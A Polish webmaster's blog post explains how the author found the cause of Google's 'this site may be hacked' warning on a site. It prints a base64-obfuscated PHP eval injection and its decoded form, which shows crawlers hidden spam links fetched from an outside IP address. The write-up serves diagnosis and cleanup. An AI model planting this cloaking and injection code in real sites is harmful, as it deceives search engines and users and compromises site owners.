środa, 27 marca 2013

Komunikat w Google 'Ta witryna mogła paść ofiarą ataku'

Dwa lata temu Google wprowadziło w swojej wyszukiwarce komunikaty ostrzegające przed niebezpieczną zawartością.
Rafał Lysik

Dziś ta kwestia jest nadal aktualna. Z perspektywy czasu mogę powiedzieć, że przyniosła ona wiele dobrego dla webmasterów. Znaczenia tych komunikatów nie można przecenić.


Niedawno zajmowałem się stroną internetową, przy której w Google pojawiał się komunikat  'Ta witryna mogła paść ofiarą ataku'. Zgodnie z zaleceniami Google, sprawdziłem serwer oraz główne pliki cmsa pod kątem niepokojących pozostałości. Wysłałem prośbę o ponowne rozpatrzenie i myślałem że problem z głowy, komunikat sam zniknie po paru dniach. Jednak nie było tak dobrze. Komunikat ciągle się pojawiał w wyszukiwarce, zacząłem więc szukać dalej. Kilka razy sprawdzałem źródło strony w przeglądarce, nie widziałem tam nic niepokojącego. Szukałem dalej w narzędziach dla webmasterów informacji o stanie witryny, które mogły mnie naprowadzić na jakiś trop, jednak niczego nie znalazłem. Dopóki nie skorzystałem z narzędzia Pobierz jako Google w sekcji Kondycja. To co zobaczyłem, zamroziło mnie:


 Setki linków pozycjonujących z anchorami viagra, pills, doctor, prices, alkoholi! Już się nie dziwiłem, dlaczego wyszukiwarka ostrzegała przed tą stroną. Wiedziałem już czego szukać, zabrałem się do roboty. Po pierwsze odkryłem, że cms wymagał aktualizacji. Zacząłem przeszukiwać wszystkie pliki php, których używał skrypt. Tym sposobem znalazłem w jednym pliku php na serwerze ładowanym przez include następującą wstawkę zakodowaną funkcją eval:

$OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHVybCA9ICJodHRwOi8vIi5oZXhkZWMoIjQyIikuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoImE3ZDkyNSIpKS5jaHIoIjQ2Iikub2N0ZGVjKGhleGRlYygiMTY5IikpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCJhOThhNjMiKSkuIi9fZG9vcndheXMvbWFwL21hcC5odG1sIjtpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmw9Y3VybF9pbml0KCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTtAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfTk9CT0RZLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFRkVSRVIsJHJlZmVyZXIpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwkdXNlcmFnZW50KTskbWFwPUBjdXJsX2V4ZWMoJGN1cmwpO0BjdXJsX2Nsb3NlKCRjdXJsKTt9ZWxzZXskbWFwPUBmaWxlX2dldF9jb250ZW50cygkdXJsKTt9ZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBoZWlnaHQ6IDBweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPicuJG1hcC4nPC9kaXY+PCEtLSBIVE1MIDMuNTEuMjUxIC0tPic7fQ==')


Po jej zdekodowaniu otrzymałem następujący kod:

if (preg_match('/google|yahoo|msn|robot|bing|aol|spider/i', $_SERVER['HTTP_USER_AGENT'])){$url = "http://".hexdec("42").chr("46").bindec(hexdec("a7d925")).chr("46").octdec(hexdec("169")).chr("46").bindec(hexdec("a98a63"))."/_doorways/map/map.html";if (@extension_loaded('curl')){$curl=curl_init();@curl_setopt($curl,CURLOPT_URL,$url);@curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,15);@curl_setopt($curl,CURLOPT_TIMEOUT,15);@curl_setopt($curl,CURLOPT_VERBOSE,0);@curl_setopt($curl,CURLOPT_HEADER,0);@curl_setopt($curl, CURLOPT_NOBODY,0);@curl_setopt($curl,CURLOPT_REFERER,$referer);@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);@curl_setopt($curl,CURLOPT_USERAGENT,$useragent);$map=@curl_exec($curl);@curl_close($curl);}else{$map=@file_get_contents($url);}echo '<div style="position: absolute; height: 0px; overflow: hidden;">'.$map.'</div><!-- HTML 3.51.251 -->';}

Jak on działa?
Jeśli przeglądarka użytkownika przedstawia się jako google lub yahoo lub msn lub robot lub bing lub aol lub spider, to wykonywany jest dalszy kod. Na naszym serwerze otwierana jest tylna furtka, przez którą skrypt pobiera zewnętrzną zawartość. Pobieranie tej zawartości odbywa się w trybie cichym, tzn. robot nic nie zauważa, skrypt nie generuje żadnych komunikatów ani błędów. Jeśli na serwerze działa curl, to skrypt pobiera zewnętrzną zawartość za pomocą tej funkcji. Jeśli curl jest wyłączony, to skrypt próbuje pobrać zawartość za pomocą funkcji php file_get_contents. To co skrypt pobierze z zewnętrznego serwera jest umieszczone w divie, który jest ukryty za pomocą cssu. Całość tej wstawki w php dopisuje się na początku pliku, także googlebot dostaje najpierw tonę linków, a dopiero potem właściwą zawartość strony. Wstawka jest kodowana metodami polegającymi na zaciemnieniu kodu źródłowego.

We wspomnianym przypadku pobieranie i wstrzykiwanie kodu odbywało się przez tylną furtkę z adresu http://66.197.241.251/_doorways/map/map.html
Serwer znajduje się w Ameryce. Po wejściu na ww. stronę wyświetla się fałszywy komunikat suspended, choć w rzeczywistości serwer dalej działa.

W przypadku problemów z witryną, korzystajcie z narzędzi Google dla webmasterów. Pomogą Wam one zorientować się jak Google widzi Waszą stronę. W razie kłopotów często pojawiają się jednoznaczne komunikaty w narzędziach, informujące o przyczynie problemu i o metodzie jego usunięcia. Pamiętajcie że w przypadku diagnozowania problemu z witryną, warto otworzyć jej kopię tekstową w wyszukiwarce Google i w ten sposób szybko sprawdzić, jak Google widzi stronę. Zabezpieczcie także Wasze serwery i zaktualizujcie skrypty. Pamiętajcie że spamerzy wykorzystają każdą okazję, aby sprzedać swój produkt, wstawić linka lub wysłać spam. To prawdziwy biznes wart miliony dolarów.


0 komentarzy:

Prześlij komentarz